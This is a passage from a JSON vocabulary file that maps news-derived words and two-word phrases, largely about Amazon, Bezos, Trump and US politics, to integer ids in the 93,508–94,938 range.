"companies avoided": 93508, "false server719396": 93509, "series titled": 93510, "congress advances": 93511, "stimulate": 93512, "living alongside": 93513, "nbc news": 93514, "democrat beth": 93515, "brazil bolsonaro": 93516, "cortez reportedly": 93517, "administrator": 93518, "aid 600": 93519, "announced strategic": 93520, "plan shifted": 93521, "sector sitting": 93522, "infringers": 93523, "govern life": 93524, "polls released": 93525, "document written": 93526, "facing facts": 93527, "times opinion": 93528, "criticism threatened": 93529, "a4ee e1": 93530, "bar platforms": 93531, "amazon cronyism": 93532, "ma maval": 93533, "trump advised": 93534, "2018 cnbc": 93535, "current distribution": 93536, "paris president": 93537, "nebraska": 93538, "underpayment": 93539, "documentary filmmaker": 93540, "177": 93541, "community alike": 93542, "work jobs": 93543, "orig vstop": 93544, "prosecuted nearly": 93545, "cleveland legislature": 93546, "conduct thorough": 93547, "conduct regarding": 93548, "businesses billions": 93549, "distribution warehouse": 93550, "head offices": 93551, "bedroom": 93552, "coated": 93553, "pads": 93554, "gains tax": 93555, "usa presidentdonald": 93556, "markets group": 93557, "influential readers": 93558, "begun delivering": 93559, "comment tech": 93560, "propulsion laboratory": 93561, "family sitcom": 93562, "appeared sympathetic": 93563, "used redistricting": 93564, "true false": 93565, "time tested": 93566, "pruitt appointees": 93567, "does notdeny": 93568, "cbre group": 93569, "walmart robertmuller": 93570, "role player": 93571, "ms rice": 93572, "vaxxed ii": 93573, "york ap": 93574, "regional differences": 93575, "insights saying": 93576, "requires advice": 93577, "fight youtube": 93578, "public criticism": 93579, "antoni porowski": 93580, "government employment": 93581, "gain greater": 93582, "open george": 93583, "wider investigation": 93584, "p4yyvn54oi brian": 93585, "messaging wise": 93586, "opportunity speaking": 93587, "creates chasm": 93588, "_self r4ee": 93589, "force blamed": 93590, "mop": 93591, "purchase fox": 93592, "gain entree": 93593, "maybe navarro": 93594, "transplant ms": 93595, "hour wage": 93596, "times beginning": 93597, "web tying": 93598, "uniformly positive": 93599, "fastest pace": 93600, "new children": 93601, "search queries": 93602, "statement released": 93603, "000 parents": 93604, "vying": 93605, "stamp news": 93606, "product sold": 93607, "matt rosendale": 93608, "stacks": 93609, "social policies": 93610, "scrapped altogether": 93611, "brownlee": 93612, "lying headline": 93613, "bezos holds": 93614, "apple industry": 93615, "washington convention": 93616, "using biased": 93617, "superpowers don": 93618, "tabloid devoted": 93619, "plodding pace": 93620, "company fought": 93621, "message leak": 93622, "spracklen": 93623, "government outsourcing": 93624, "festering disease": 93625, "358 shares": 93626, "sack sack": 93627, "sensitive pictures": 93628, "firm shaw": 93629, "baiting buffoon": 93630, "involves seeding": 93631, "swiftly changed": 93632, "maker juul": 93633, "hardened terrorists": 93634, "impractical wall": 93635, "counterfeiting packages": 93636, "characters lives": 93637, "liberation army": 93638, "sanders video": 93639, "public records": 93640, "want signed": 93641, "help old": 93642, "acquisitions suggesting": 93643, "dealmaking": 93644, "tombstone": 93645, "essay written": 93646, "conviction read": 93647, "led push": 93648, "fubotv app": 93649, "introductions": 93650, "lira": 93651, "risk congresswoman": 93652, "insights head": 93653, "reputation covering": 93654, "immediately spoke": 93655, "obstructing competition": 93656, "giant frequently": 93657, "office senorrinhatch": 93658, "odds 1539102369": 93659, "interview hosted": 93660, "supremacist": 93661, "power prime": 93662, "fourteen airmen": 93663, "challenge trip": 93664, "prevent terrorist": 93665, "targets slightly": 93666, "took nonstop": 93667, "family member": 93668, "ample": 93669, "cultural affairs": 93670, "actress aneurysms": 93671, "pubgversary xiaomi": 93672, "dials bazillion": 93673, "vocational school": 93674, "wire agency": 93675, "economic force": 93676, "single year": 93677, "agencies deploy": 93678, "celebrities red": 93679, "african republic": 93680, "sneak peek": 93681, "equates": 93682, "big changes": 93683, "site souq": 93684, "fatigue": 93685, "kaine": 93686, "telsey": 93687, "endanger": 93688, "candidate beto": 93689, "kids homes": 93690, "term solutions": 93691, "amazon prime": 93692, "mailing fewer": 93693, "western efforts": 93694, "staff diversity": 93695, "components dow": 93696, "office delivers": 93697, "yes cnn": 93698, "taxes local": 93699, "nation unfortunately": 93700, "somali": 93701, "politicized climate": 93702, "partnership rests": 93703, "smart lock": 93704, "debut heres": 93705, "produces real": 93706, "boston fed": 93707, "california nevada": 93708, "aut_imgid 51492": 93709, "flotus": 93710, "interruption": 93711, "everyday new": 93712, "clothes dryer": 93713, "sen tim": 93714, "pitched facial": 93715, "senate later": 93716, "otcmkts hnhpf": 93717, "did paid": 93718, "sap application": 93719, "motion reiterating": 93720, "parking": 93721, "nearing deal": 93722, "cuddly": 93723, "democrats elijah": 93724, "partners practice": 93725, "moves scared": 93726, "pritzker plan": 93727, "staked": 93728, "deems": 93729, "cures ray": 93730, "unflinching": 93731, "chemicals amazon": 93732, "worldwide rollout": 93733, "previous cards": 93734, "blue rider": 93735, "cola underlying": 93736, "demand trump": 93737, "process sparked": 93738, "closest approved": 93739, "scandal involving": 93740, "keen amazon": 93741, "trump assertion": 93742, "app": 93743, "raymond zondo": 93744, "candidates elected": 93745, "ways 2018": 93746, "cnbc think": 93747, "potential political": 93748, "690 shares": 93749, "free state": 93750, "fox affiliate": 93751, "agency staff": 93752, "crony capitalism": 93753, "wealthiest individuals": 93754, "hq2 local": 93755, "concrete game": 93756, "israel organizations": 93757, "late stephen": 93758, "real rationale": 93759, "messages risks": 93760, "congressional committees": 93761, "says worklife": 93762, "hard drives": 93763, "warren buffett": 93764, "tax multinationals": 93765, "getting distribution": 93766, "by\u0430katz\u0430cowley": 93767, "hates corporations": 93768, "religious worship": 93769, "including vehicle": 93770, "sign especially": 93771, "amazon spin": 93772, "debt trap": 93773, "impose dollar": 93774, "contractors supporting": 93775, "preserving": 93776, "uploading classified": 93777, "island cult": 93778, "responded speaking": 93779, "operatives remain": 93780, "provisional": 93781, "2018 president": 93782, "swamp deal": 93783, "aerospace businesses": 93784, "received immediate": 93785, "amazon noted": 93786, "lawmakers approved": 93787, "acts reported": 93788, "graziano da": 93789, "respectable": 93790, "trump 5k": 93791, "timesofkskgallery": 93792, "parasites": 93793, "richard chang": 93794, "drop offs": 93795, "special importance": 93796, "cortez called": 93797, "brought flooding": 93798, "27th best": 93799, "justice stevens": 93800, "trump wikileaks": 93801, "timely advice": 93802, "goods amid": 93803, "guess shaved": 93804, "conversely": 93805, "television fred": 93806, "discuss privacy": 93807, "trump agenda": 93808, "pact": 93809, "reported": 93810, "does occur": 93811, "embedbutton": 93812, "nato leader": 93813, "champion mom": 93814, "different topic": 93815, "apga guber": 93816, "child exploitation": 93817, "officials complied": 93818, "placing search": 93819, "necessarily hurt": 93820, "currencies": 93821, "recounts": 93822, "cuomo prevailing": 93823, "mgmt lc": 93824, "season": 93825, "correspondent amazon": 93826, "additional time": 93827, "travel restrictions": 93828, "abramowitz wouldn": 93829, "dnllnupeff": 93830, "square celebrating": 93831, "question marks": 93832, "delagarza time": 93833, "wealthy women": 93834, "information sealed": 93835, "pistol whipped": 93836, "billboards": 93837, "simple": 93838, "chinese consumer": 93839, "brutal warehouse": 93840, "preschool": 93841, "fuels arguing": 93842, "president ties": 93843, "excellent cast": 93844, "playing right": 93845, "allow state": 93846, "job killing": 93847, "retailers report": 93848, "manhunt clergy": 93849, "dealers": 93850, "purely": 93851, "sold mere": 93852, "poland": 93853, "verisimilitude": 93854, "old software": 93855, "rescission": 93856, "woman": 93857, "bomb test": 93858, "nordstrom dropped": 93859, "manufacturing ramped": 93860, "contemporary world": 93861, "fellow tech": 93862, "destructive effects": 93863, "richie marini": 93864, "trump used": 93865, "products exclusively": 93866, "smudges": 93867, "app shutdown": 93868, "workers used": 93869, "enhances": 93870, "dianne feinstein": 93871, "detect": 93872, "interests amazon": 93873, "possible conflict": 93874, "grant amazon": 93875, "overstate miller": 93876, "companies participates": 93877, "stimulus program": 93878, "229": 93879, "giant announcing": 93880, "proposed giving": 93881, "remember lots": 93882, "trump called": 93883, "life warts": 93884, "movers": 93885, "business group": 93886, "reverse christianity": 93887, "active volcanoes": 93888, "maxboot": 93889, "bezos mega": 93890, "disney did": 93891, "avery wine": 93892, "working fulltime": 93893, "existing department": 93894, "soviet security": 93895, "legitimate threats": 93896, "carry economy": 93897, "iranian cookbook": 93898, "brendan ciecko": 93899, "2017 interview": 93900, "additional ounces": 93901, "sandos5 pictures": 93902, "companies unlike": 93903, "amazon tentacles": 93904, "considering expanding": 93905, "nyse vz": 93906, "cartoon trump": 93907, "cbp spends": 93908, "ross foto": 93909, "female representation": 93910, "workplace safer": 93911, "duker": 93912, "long markets": 93913, "married lover": 93914, "alphabet acquiring": 93915, "headsets": 93916, "force review": 93917, "hilliard": 93918, "beat": 93919, "line amazon": 93920, "whiplash actor": 93921, "israelis hoped": 93922, "planning cable": 93923, "data population": 93924, "x0": 93925, "insider source": 93926, "kantonalbank": 93927, "thais": 93928, "downforce gripping": 93929, "immediately withdraw": 93930, "hanes turquoise": 93931, "memos": 93932, "sparking efforts": 93933, "opening dates": 93934, "mall shooting": 93935, "000 newcomers": 93936, "reports troops": 93937, "sr_1_3": 93938, "court selections": 93939, "alleged misconduct": 93940, "stampsby": 93941, "mike conley": 93942, "congressman matt": 93943, "workers low": 93944, "castaway chelsea": 93945, "term wealth": 93946, "delivery sources": 93947, "local elections": 93948, "net d2jyz4lfsmnmp9": 93949, "just answer": 93950, "interviews aileen": 93951, "mysterious sounds": 93952, "increased amazon": 93953, "raising objections": 93954, "fantasised": 93955, "addabbo queens": 93956, "lose revenue": 93957, "tiffany trump": 93958, "preoccupied": 93959, "court affirmed": 93960, "formidable cleveland": 93961, "sanchez mikey2go": 93962, "value tanked": 93963, "house guess": 93964, "assaulted conway": 93965, "economy experienced": 93966, "trump khashoggi": 93967, "trades": 93968, "slightly compared": 93969, "platform friend": 93970, "coalfire": 93971, "picks detroit": 93972, "noble used": 93973, "influences": 93974, "retailer primarily": 93975, "delaware wrote": 93976, "trumpism": 93977, "var c2x": 93978, "politicians care": 93979, "city suddenly": 93980, "politely": 93981, "d4a z4a": 93982, "book princesses": 93983, "dirty little": 93984, "issue recommendations": 93985, "proposals involving": 93986, "sentinel": 93987, "american success": 93988, "formal endorsement": 93989, "kwan check": 93990, "officer sword": 93991, "beverage ap\u00e9ritif": 93992, "express bezos": 93993, "eps 91c": 93994, "design phones": 93995, "wing groups": 93996, "paying corporate": 93997, "buisness": 93998, "angry east": 93999, "scrutinising": 94000, "disposable names": 94001, "originates": 94002, "politics news": 94003, "vein": 94004, "dossier began": 94005, "contract looks": 94006, "grass": 94007, "send checks": 94008, "grown wealthier": 94009, "hurting america": 94010, "cellmate": 94011, "condones attacks": 94012, "attractive customer": 94013, "centers compared": 94014, "yorkers struggling": 94015, "driving strong": 94016, "bogglingly": 94017, "pbs": 94018, "hikers": 94019, "uber aggressive": 94020, "zealand darkest": 94021, "retailer dsw": 94022, "1542140927": 94023, "verdad accused": 94024, "lane flakedems": 94025, "montegriffo": 94026, "real concern": 94027, "tweet dear": 94028, "dropped amid": 94029, "americafirst dobbs": 94030, "proclaiming": 94031, "humble online": 94032, "itep report": 94033, "fierce trump": 94034, "force consumers": 94035, "storage structures": 94036, "detention center": 94037, "manhattan brian": 94038, "hidden dna": 94039, "lakes congress": 94040, "minivan safety": 94041, "standard tabloid": 94042, "files 2018": 94043, "expected savings": 94044, "week canceled": 94045, "hsun": 94046, "rating wells": 94047, "tough america": 94048, "year handful": 94049, "duel": 94050, "sordid tale": 94051, "programme makers": 94052, "vine": 94053, "gmt food": 94054, "conversation starter": 94055, "street jon": 94056, "spotify pandora": 94057, "sex doll": 94058, "lift millions": 94059, "question vaccines": 94060, "fast gentrifying": 94061, "100 page": 94062, "representing queens": 94063, "sound familiar": 94064, "obrador": 94065, "anti vaxxer": 94066, "immigrants carrell": 94067, "adopt wait": 94068, "earn little": 94069, "carriers amazon": 94070, "developing city": 94071, "corp owns": 94072, "amazon myriad": 94073, "finance ministry": 94074, "averages bounce": 94075, "dollar spent": 94076, "filing lawsuits": 94077, "stu": 94078, "enquirer itemising": 94079, "competition billboard": 94080, "company led": 94081, "swift": 94082, "cloud environment": 94083, "title including": 94084, "prices points": 94085, "atthe current": 94086, "money president": 94087, "underappreciated effect": 94088, "gun study": 94089, "orphaned baudelaire": 94090, "patron": 94091, "enquirers": 94092, "child murder": 94093, "johnson wis": 94094, "morelli president": 94095, "harsh demand": 94096, "mohler": 94097, "sawyer": 94098, "term funding": 94099, "cover rent": 94100, "general election": 94101, "prime trucks": 94102, "message dorsey": 94103, "humble beginnings": 94104, "sector spdr": 94105, "military dictatorship": 94106, "comments best": 94107, "quite reasonable": 94108, "story economy": 94109, "government added": 94110, "cuddly critters": 94111, "owners posted": 94112, "region meets": 94113, "lanzatech aims": 94114, "lobby lawmakers": 94115, "don peebles": 94116, "course spent": 94117, "comedic horror": 94118, "2017 nearly": 94119, "linkedin look": 94120, "worse sue": 94121, "pbs based": 94122, "liesman nightly": 94123, "laborers international": 94124, "trump technically": 94125, "irrelevance 2018": 94126, "chinese developer": 94127, "leave mark": 94128, "famously avoided": 94129, "oval": 94130, "moved online": 94131, "labor thing": 94132, "corruption department": 94133, "retail space": 94134, "fully harness": 94135, "occupying trump": 94136, "shares mai": 94137, "misjudgment": 94138, "recently hit": 94139, "define design": 94140, "playbookers": 94141, "biblical decree": 94142, "escalating attacks": 94143, "workers saw": 94144, "contract levin": 94145, "office reported": 94146, "columnist joe": 94147, "prime position": 94148, "really needed": 94149, "issues internally": 94150, "performed poorly": 94151, "platform covers": 94152, "kelly seattle": 94153, "political support": 94154, "countries new": 94155, "joe guest": 94156, "people talking": 94157, "playstation": 94158, "suddenly decided": 94159, "seat lately": 94160, "nav": 94161, "king belief": 94162, "sally goodin": 94163, "mimic": 94164, "timothy": 94165, "fewer vendors": 94166, "exact ordeal": 94167, "harshly criticizing": 94168, "manwho": 94169, "discussed afp": 94170, "claire stapleton": 94171, "community organizer": 94172, "counts going": 94173, "inflation remain": 94174, "compromised": 94175, "dicom lasership": 94176, "epitome": 94177, "applewhite associated": 94178, "rough patch": 94179, "level candidate": 94180, "clean structure": 94181, "read minus": 94182, "roger": 94183, "provide explicit": 94184, "video": 94185, "issued statement": 94186, "cnnvideoapi cnnvideomanager": 94187, "indian commerce": 94188, "european ceos": 94189, "hewson told": 94190, "president touts": 94191, "immeasurable": 94192, "mainstream media": 94193, "apple android": 94194, "nato stance": 94195, "congresswoman maxine": 94196, "fund established": 94197, "unsuccessfully fought": 94198, "work keyboard": 94199, "locations trump": 94200, "naomi": 94201, "vendor government": 94202, "current moment": 94203, "bodied rapping": 94204, "conway felt": 94205, "trump wished": 94206, "relatively cheap": 94207, "tax practices": 94208, "keith noreika": 94209, "michael dobie": 94210, "firm turnaround": 94211, "nazis notwithstanding": 94212, "work share": 94213, "photographer peter": 94214, "worth tuning": 94215, "shuts": 94216, "plowing money": 94217, "tech age": 94218, "ground running": 94219, "simple recipes": 94220, "consumer edge": 94221, "coalson": 94222, "manila philippines": 94223, "house departure": 94224, "world limit": 94225, "826": 94226, "hot women": 94227, "valley high": 94228, "day lasts": 94229, "city dominating": 94230, "compelling talk": 94231, "potentially spilling": 94232, "qa ra": 94233, "faced big": 94234, "innovation amazon": 94235, "features including": 94236, "developing check": 94237, "chairman ajit": 94238, "che": 94239, "canceling": 94240, "china names": 94241, "hanze": 94242, "quietly": 94243, "sure adam": 94244, "8217 largest": 94245, "participation corporate": 94246, "year": 94247, "prime according": 94248, "crony inertia": 94249, "lose ground": 94250, "tigon": 94251, "big drop": 94252, "44th best": 94253, "democratic gains": 94254, "getting tax": 94255, "rising frustrations": 94256, "online product": 94257, "confidentiality": 94258, "genius unpredictable": 94259, "benefit package": 94260, "just bartiromo": 94261, "ago working": 94262, "dollar corporation": 94263, "costs thatwas": 94264, "strong loyalty": 94265, "apple 399": 94266, "sees fit": 94267, "fedex remains": 94268, "afford school": 94269, "worlds biggest": 94270, "quicktakes": 94271, "trump midterms": 94272, "russian element": 94273, "cox": 94274, "christmas catalog": 94275, "china jeff": 94276, "yesterday evening": 94277, "returned request": 94278, "airlines pilot": 94279, "house wanted": 94280, "follow tim": 94281, "annette hanze": 94282, "fec law": 94283, "downriver": 94284, "involving multiple": 94285, "raid standing": 94286, "statistics provided": 94287, "discounts reducing": 94288, "jumpshot": 94289, "transformation begins": 94290, "original plans": 94291, "239 million": 94292, "company sale": 94293, "soft opening": 94294, "graham aws": 94295, "handles artificial": 94296, "000 troops": 94297, "pogo asked": 94298, "wrigley": 94299, "andrew kirk": 94300, "graduating": 94301, "commercial aired": 94302, "trends depicting": 94303, "stronger press": 94304, "data terminals": 94305, "states president": 94306, "siloed stakeholders": 94307, "political career": 94308, "qualified individuals": 94309, "govt": 94310, "slots": 94311, "director making": 94312, "mijente immigrant": 94313, "citigroup analysis": 94314, "business says": 94315, "alex kormann": 94316, "proved": 94317, "massachusetts community": 94318, "1969 mike": 94319, "paul oman": 94320, "institutions including": 94321, "greeting officials": 94322, "people power": 94323, "twentieth": 94324, "valuator funds": 94325, "term rates": 94326, "time desire": 94327, "piers": 94328, "linked amazon": 94329, "day prior": 94330, "ge jack": 94331, "provided technical": 94332, "seeing consumers": 94333, "insecure left": 94334, "peaceful diplomatic": 94335, "operates cloud": 94336, "dumbfounded": 94337, "trivialise": 94338, "foundation received": 94339, "newfield": 94340, "fiscal responsibilities": 94341, "engagement qanon": 94342, "forward bolduan": 94343, "movie wouldn": 94344, "starts serving": 94345, "enemies faster": 94346, "bezos mainstream": 94347, "longislandcity": 94348, "silence similar": 94349, "exacerbating": 94350, "county set": 94351, "visit amazon": 94352, "madrid en": 94353, "tmdsthqpuf bernie": 94354, "plentiful possibilities": 94355, "sure bezos": 94356, "exemptions tcja": 94357, "offer solution": 94358, "policy solutions": 94359, "including roughly": 94360, "flakejeffrey jeff": 94361, "told lic": 94362, "arm empire": 94363, "disappointing sales": 94364, "taxman": 94365, "pursue abortion": 94366, "trump colluded": 94367, "trend": 94368, "owl": 94369, "roache added": 94370, "cnn regular": 94371, "leagues rush": 94372, "mnuchin notes": 94373, "savory": 94374, "cia 600": 94375, "greg ip": 94376, "broader issue": 94377, "labor economy": 94378, "buy collection": 94379, "concerns pledge": 94380, "impossible balance": 94381, "lyrical visionary": 94382, "sort centers": 94383, "turbulence music": 94384, "intentionally conveyed": 94385, "writes": 94386, "investing based": 94387, "views data": 94388, "runs service": 94389, "pilot washington": 94390, "amazon extra": 94391, "pink": 94392, "refunds followed": 94393, "wealth advisors": 94394, "photograph alex": 94395, "discouraged": 94396, "governing board": 94397, "tough deals": 94398, "kahuna": 94399, "political row": 94400, "stamped": 94401, "overwhelmingly democrat": 94402, "ziedins": 94403, "capitalism works": 94404, "domestic commerce": 94405, "substantive news": 94406, "chief euro": 94407, "retail etf": 94408, "unfavorably": 94409, "kth sot": 94410, "budget submission": 94411, "regulators need": 94412, "sector dr": 94413, "berkshire charlie": 94414, "ability communicate": 94415, "reasons stone": 94416, "physiological": 94417, "genitalia": 94418, "hedge": 94419, "microsoft william": 94420, "eu slapped": 94421, "trump buildings": 94422, "amy mcgrath": 94423, "amazed audiences": 94424, "year old": 94425, "champions": 94426, "big gains": 94427, "releases new": 94428, "uber big": 94429, "asked host": 94430, "gigantic growth": 94431, "breweries related": 94432, "awaited justice": 94433, "speaks": 94434, "holidays according": 94435, "wage sanders": 94436, "ain gonna": 94437, "approximately 900": 94438, "members working": 94439, "tweet criticizing": 94440, "oregon sheriff": 94441, "recently agreed": 94442, "magazine articles": 94443, "108billion": 94444, "class action": 94445, "center providing": 94446, "market andnowuknow": 94447, "company valued": 94448, "tour project": 94449, "becker probe": 94450, "utah asked": 94451, "balances reflect": 94452, "repatriate 252": 94453, "indo pacific": 94454, "unbox": 94455, "remains large": 94456, "investor backed": 94457, "article pushed": 94458, "revealed divorce": 94459, "finance sales": 94460, "article cites": 94461, "marketplace led": 94462, "book penned": 94463, "consider raising": 94464, "reasonable concern": 94465, "story black": 94466, "merchants nearly": 94467, "working stores": 94468, "coincidentally setting": 94469, "sanders primary": 94470, "bezo": 94471, "post financial": 94472, "difficult trading": 94473, "independent package": 94474, "whittemore": 94475, "foia": 94476, "executive budget": 94477, "cardi posts": 94478, "xlnx qualcomm": 94479, "new hires": 94480, "proudly displayed": 94481, "gates warren": 94482, "immaturian candidate": 94483, "times nabbed": 94484, "ami announced": 94485, "2050 increase": 94486, "restaurant asked": 94487, "kingsolver harpercollins": 94488, "impact roughly": 94489, "bezos built": 94490, "syndrome": 94491, "forgiveness": 94492, "city pentagon": 94493, "audience share": 94494, "innovation editor": 94495, "trademark registry": 94496, "just massive": 94497, "colloidal": 94498, "market correct": 94499, "retailer rates": 94500, "delivering packages": 94501, "lobbying monster": 94502, "delong geekwire": 94503, "000 losers": 94504, "funniest flubbed": 94505, "priest posthumously": 94506, "honolulu restaurant": 94507, "subpoena": 94508, "simultaneously working": 94509, "finra": 94510, "ellie": 94511, "timeout": 94512, "combined total": 94513, "internal warfare": 94514, "t8 j8i": 94515, "loses resulting": 94516, "criticism trump": 94517, "nonfarm": 94518, "leaked email": 94519, "running trump": 94520, "chief human": 94521, "writing award": 94522, "lounge": 94523, "disclosure varieties": 94524, "miriam midge": 94525, "kostin": 94526, "facebook critics": 94527, "rail expansion": 94528, "provide turnkey": 94529, "coal companies": 94530, "gala": 94531, "california bar": 94532, "people apple": 94533, "benchmark rate": 94534, "football fields": 94535, "counterfeit versions": 94536, "exposure amazon": 94537, "presidency schiff": 94538, "big tax": 94539, "cuomo don": 94540, "leading tools": 94541, "investigatory targets": 94542, "odd turn": 94543, "soon sprout": 94544, "corporate titan": 94545, "convergence divergence": 94546, "refueling": 94547, "launch new": 94548, "time cassidy": 94549, "cap total": 94550, "times sent": 94551, "streamed events": 94552, "thing happened": 94553, "newsday michael": 94554, "replacement venue": 94555, "experience loyalty": 94556, "650 324": 94557, "billion benefits": 94558, "investments closely": 94559, "illustrated by\u0430katz\u0430cowley": 94560, "sites enjoy": 94561, "phone begging": 94562, "shows checks": 94563, "significant acceleration": 94564, "subsidizing package": 94565, "jake": 94566, "intl fd": 94567, "ford nature": 94568, "separately registered": 94569, "wealth advsr": 94570, "amazon lists": 94571, "cristina thank": 94572, "home 2017": 94573, "trump follows": 94574, "incipient techlash": 94575, "post quotes": 94576, "operations official": 94577, "g1 y29uc3rydwn0b3i": 94578, "smaller commerce": 94579, "issupposed": 94580, "official powers": 94581, "mitigated exposure": 94582, "america vast": 94583, "years researching": 94584, "social medicine": 94585, "embarrassment narrative": 94586, "iwanowicz": 94587, "day17": 94588, "guy blach\u00e9": 94589, "price appreciation": 94590, "sanchez unless": 94591, "joined earlier": 94592, "warner company": 94593, "sit idly": 94594, "2019 police": 94595, "senior aides": 94596, "bradley beal": 94597, "iton": 94598, "images showing": 94599, "suit univision": 94600, "ibama president": 94601, "beast reporter": 94602, "pet issues": 94603, "2018 meme": 94604, "issues hat": 94605, "amazon attacks": 94606, "packages purchased": 94607, "trabajo": 94608, "theory declare": 94609, "thievery": 94610, "hideously": 94611, "named josh": 94612, "imminence": 94613, "bit soft": 94614, "grueling": 94615, "john travolta": 94616, "incentives including": 94617, "awful place": 94618, "reach balanced": 94619, "departure brett": 94620, "believed god": 94621, "rescues": 94622, "following matches": 94623, "000 knowing": 94624, "sees revenue": 94625, "compares misinformation": 94626, "history governor": 94627, "series follows": 94628, "critical long": 94629, "tattered brexit": 94630, "director gary": 94631, "sophie lennon": 94632, "thunderstorm": 94633, "words health": 94634, "fellow members": 94635, "educated working": 94636, "caught": 94637, "gummies actually": 94638, "foto sourcehsn": 94639, "sheffieldissuper": 94640, "big 105": 94641, "familiar media": 94642, "enjoy increased": 94643, "blanc": 94644, "mail cutting": 94645, "bedrijven": 94646, "hope especially": 94647, "kbr": 94648, "managers interviewed": 94649, "second summit": 94650, "tantrum mark": 94651, "hilariously obvious": 94652, "including shirts": 94653, "donations \u014222": 94654, "latest griff": 94655, "important americans": 94656, "consistently inform": 94657, "microsoft palantir": 94658, "bourn": 94659, "orders phil": 94660, "sears amazon": 94661, "usps explained": 94662, "isfirstvideoincollection": 94663, "adjei": 94664, "medium published": 94665, "2015 nbc": 94666, "horror state": 94667, "reserve occupying": 94668, "team did": 94669, "influential technology": 94670, "high income": 94671, "permanently hurting": 94672, "removeeventlistener r4ee": 94673, "budgets poised": 94674, "decision makers": 94675, "helping wouldn": 94676, "school bible": 94677, "profile amazon": 94678, "accepting contaminated": 94679, "anchors scripts": 94680, "fronts fox": 94681, "usps losses": 94682, "entirely faithful": 94683, "converting rainforest": 94684, "whacks minding": 94685, "mam immigration": 94686, "rico according": 94687, "commissioner margrethe": 94688, "thinks amazon": 94689, "family pictures": 94690, "sen joe": 94691, "treaty compliance": 94692, "exist help": 94693, "commissioner bob": 94694, "elections just": 94695, "cah martingale": 94696, "design toll": 94697, "economic agenda": 94698, "warfighters dana": 94699, "brazil rural": 94700, "sites operated": 94701, "simple terms": 94702, "granting access": 94703, "witty smart": 94704, "players roe": 94705, "amazon joined": 94706, "legislation targeting": 94707, "coffee start": 94708, "trump social": 94709, "poorer government": 94710, "tops views": 94711, "emissions cutting": 94712, "contessa": 94713, "releasing bland": 94714, "lower price": 94715, "amazon resonate": 94716, "year dr": 94717, "playerinstance fave": 94718, "disney frozen": 94719, "scandal broke": 94720, "snakeskin set": 94721, "says duped": 94722, "following conway": 94723, "separation message": 94724, "london detectives": 94725, "consumers perceptions": 94726, "siphon": 94727, "compliance center": 94728, "new private": 94729, "jon hamm": 94730, "journal chart": 94731, "ford says": 94732, "amazon luxembourg": 94733, "anarchy series": 94734, "barred story": 94735, "prosecutors believe": 94736, "gloom": 94737, "queens james": 94738, "alaraby": 94739, "richard gates": 94740, "long charging": 94741, "insane litany": 94742, "apparently unwilling": 94743, "president play": 94744, "local libraries": 94745, "business town": 94746, "budget conscious": 94747, "communications ended": 94748, "woman president": 94749, "dow industrials": 94750, "beverage maker": 94751, "progressive kingmaker": 94752, "defamation lawsuit": 94753, "usps spokesperson": 94754, "frank admission": 94755, "security public": 94756, "brad moon": 94757, "global customer": 94758, "y8 string": 94759, "female directors": 94760, "suddenly regained": 94761, "ballgame": 94762, "ethics lawyer": 94763, "reaching patients": 94764, "consumers urged": 94765, "acted": 94766, "landing higher": 94767, "complement amazon": 94768, "scudamore keen": 94769, "amazon kumar": 94770, "alphabet 870": 94771, "sees facebook": 94772, "reagan jack": 94773, "street investors": 94774, "independent retailers": 94775, "website starting": 94776, "planning vast": 94777, "lethem wrestle": 94778, "humour": 94779, "amzn forays": 94780, "teenaged daughter": 94781, "term leases": 94782, "makes liberal": 94783, "away television": 94784, "industry anna": 94785, "including obama": 94786, "alberto": 94787, "breakthrough sheds": 94788, "enacting safeguards": 94789, "historically infeasible": 94790, "raceway": 94791, "columbus ohio": 94792, "read opinions": 94793, "art instead": 94794, "abg hots": 94795, "increase speed": 94796, "barely carried": 94797, "candidate sen": 94798, "railroads": 94799, "google spent": 94800, "time earned": 94801, "calls prime": 94802, "trump illegal": 94803, "taking feud": 94804, "keener": 94805, "staab wanted": 94806, "follows months": 94807, "interiors": 94808, "antimicrobial durable": 94809, "subtle dig": 94810, "whispers warning": 94811, "sexted": 94812, "vta executive": 94813, "growth online": 94814, "crippling": 94815, "nyt david": 94816, "embolden india": 94817, "community gains": 94818, "says bob": 94819, "bank downgraded": 94820, "bb": 94821, "philanthropic effort": 94822, "winsoncin photo": 94823, "deputy fired": 94824, "great writers": 94825, "uncertainty caused": 94826, "arise": 94827, "international union": 94828, "institutionalized": 94829, "involving billions": 94830, "dams amazon": 94831, "703 539": 94832, "trump plaza": 94833, "fairs": 94834, "sl green": 94835, "coming city": 94836, "439": 94837, "recently halted": 94838, "jerusalem embassy": 94839, "need places": 94840, "online section": 94841, "warren calls": 94842, "sliced opened": 94843, "articles sears": 94844, "castlevania": 94845, "matches": 94846, "jeonghoon lee": 94847, "company oversight": 94848, "products quick": 94849, "minaj hits": 94850, "lowest possible": 94851, "advertising giant": 94852, "benefits include": 94853, "enddate": 94854, "trumping wall": 94855, "bozotheclown": 94856, "reactions spokesman": 94857, "crash cbs": 94858, "driving hillary": 94859, "bargain amber": 94860, "cats away": 94861, "bride": 94862, "revealed": 94863, "177 000": 94864, "legislation specifically": 94865, "breaking": 94866, "britton john": 94867, "loan demand": 94868, "improving advertising": 94869, "national solution": 94870, "services platform": 94871, "pinboard": 94872, "created worst": 94873, "germany spain": 94874, "documented immigrants": 94875, "fired hundreds": 94876, "district msnbc": 94877, "facebook missteps": 94878, "cellular biology": 94879, "described reconciliation": 94880, "court include": 94881, "loads": 94882, "kids started": 94883, "wage mean": 94884, "includes losing": 94885, "ensuring": 94886, "estate gwl": 94887, "history currently": 94888, "populist president": 94889, "stretched": 94890, "bezos judgment": 94891, "needn": 94892, "charging wars": 94893, "services immigration": 94894, "consulting expenses": 94895, "spy thriller": 94896, "closeness": 94897, "scanning robots": 94898, "domestic box": 94899, "advisers repeated": 94900, "funded directly": 94901, "174 normally": 94902, "great new": 94903, "outweigh": 94904, "book according": 94905, "supplement existing": 94906, "budget item": 94907, "middleeast jamal": 94908, "tax affairs": 94909, "preserve earth": 94910, "headquarters requires": 94911, "rate lowered": 94912, "boy think": 94913, "margins investors": 94914, "arm spun": 94915, "slightly offensive": 94916, "rolfe mayor": 94917, "trims expectations": 94918, "treatment similar": 94919, "site small": 94920, "slams amazon": 94921, "repeated": 94922, "books16 nov": 94923, "investing_promo": 94924, "dead argue": 94925, "hurting usps": 94926, "pan": 94927, "editor cassandra": 94928, "meaningfully partner": 94929, "affect shoppers": 94930, "thedeputy attorney": 94931, "mail policies": 94932, "deepti": 94933, "reminding": 94934, "correct attitudes": 94935, "trump quickly": 94936, "optical illusions": 94937, "infringing article": 94938, 